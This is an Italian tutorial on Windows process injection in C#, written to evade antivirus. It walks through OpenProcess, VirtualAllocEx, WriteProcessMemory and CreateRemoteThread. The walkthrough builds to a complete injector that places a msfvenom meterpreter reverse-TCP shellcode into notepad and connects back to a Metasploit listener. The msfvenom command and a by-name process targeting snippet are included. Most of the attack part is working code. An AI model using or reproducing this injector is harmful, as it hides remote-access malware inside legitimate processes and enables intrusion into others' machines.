La Process Injection è un metodo per eseguire del codice all’interno di un’altro processo in esecuzione (nel suo spazio degli indirizzi) in modo da eludere alcune delle difese degli Antivirus. L’esecuzione di codice all’interno di un altro processo può consentire l’accesso alla memoria del processo, alle sue risorse e soprattutto eludere il rilevamento da parte di AV, in quanto il nostro shellcode viene mascherato sotto le spoglie di un processo benevolo.
Per fare un breve recap (molto esemplificato), un processo è un contenitore con la propria memoria virtuale, ha sempre almeno un thread (se stesso) ma potrebbe averne altri eseguiti in parallelo. Quest’ultimi eseguono azioni simultanee ma condividono la memoria virtuale del processo padre.
Tramite le WinAPI in questo articolo andremo ad iniettare codice all’interno di un processo, migrando di fatto il nostro shellcode all’interno di un processo benevolo.
Ci sono diverse tecniche di Process Injection:
Gli step della Process Injection sono solitamente tre:
A volte l’allocazione e la scrittura sono effettuati nello stesso step mentre altre volte viene fatto più volte, dipende dalla tecnica che si segue.
Per la scrittura di memoria invece ci sono due possibili modalità:
Tramite C# e le Win32 API possiamo eseguire il nostro Process Injection.
Gli step da effettuare sono:
OpenProcess apre un processo locale e ci permette di ottenere l’handle dello stesso. La sintassi è la seguente
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
dove:
Con pinvoke copiamo la definizione in C# e otteniamo
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId
);
IntPtr hProcess = OpenProcess(0x001F0FFF, false, PID);
VirtualAllocEx alloca uno spazio di memoria all’interno di un processo. Viene definito come
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
dove:
Sempre tramite pinvoke convertiamo l’API e la dichiariamo in C#
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, uint flAllocationType, uint flProtect);
IntPtr address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
WriteProcessMemory scrive all’interno dell’area di memoria di un processo. Viene definito come:
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
dove:
hProcess è l’handle del processo
lpBaseAddress puntatore al base address, useremo addr
lpBuffer il puntatore al buffer che contiene i dati da scrivere (il nostro shellcode)
nSize il numero di bytes da scrivere (shellcode.Length)
*lpNumberOfBytesWritten puntatore a una variabile che riceve il numero di bytes trasferiti nel processo.
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten
);
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=4444 EXITFUNC=thread -f csharp
byte[] shellcode = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc...
IntPtr outSize;
WriteProcessMemory(hProcess, address, shellcode, shellcode.Length, out outSize);
CreateRemoteThread crea il thread che verrà eseguito all’interno del processo.
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
dove:
Convertiamo con pinvoke
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess,
IntPtr lpThreadAttributes, uint dwStackSize, ThreadStartDelegate
lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
A questo punto non ci resta che mettere tutto insieme, compilare ed lanciare il nostro eseguibile.
using System;
using System.Runtime.InteropServices;
namespace Inject
{
class Injection
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
IntPtr hProcess = OpenProcess(0x001F0FFF, false, 8304);
IntPtr address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
byte[] shellcode = new byte[511] {
0xfc,0x48,0x83....
IntPtr outSize;
WriteProcessMemory(hProcess, address, shellcode, shellcode.Length, out outSize);
IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Eseguo notepad e prendo il PID
Lo inserisco all’interno del programma, che compilo (con architettura x64) ed eseguo dopo essermi messo in ascolto con metasploit
Come si può vedere dal task manager, ora notepad contiene al suo interno una connessione con un indirizzo remoto
Nel caso in cui non avessimo visione del PID, potremmo anche scegliere il processo dinamicamente, ossia passando solo il nome del processo e ciclando sui possibili PID.
Per fare ciò è sufficiente inserire il seguente codice all’interno del Main
int procID = Process.GetProcessesByName("notepad")[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, procID);
IntPtr address...
.....
Alcune risorse utili per approfondire l’argomento: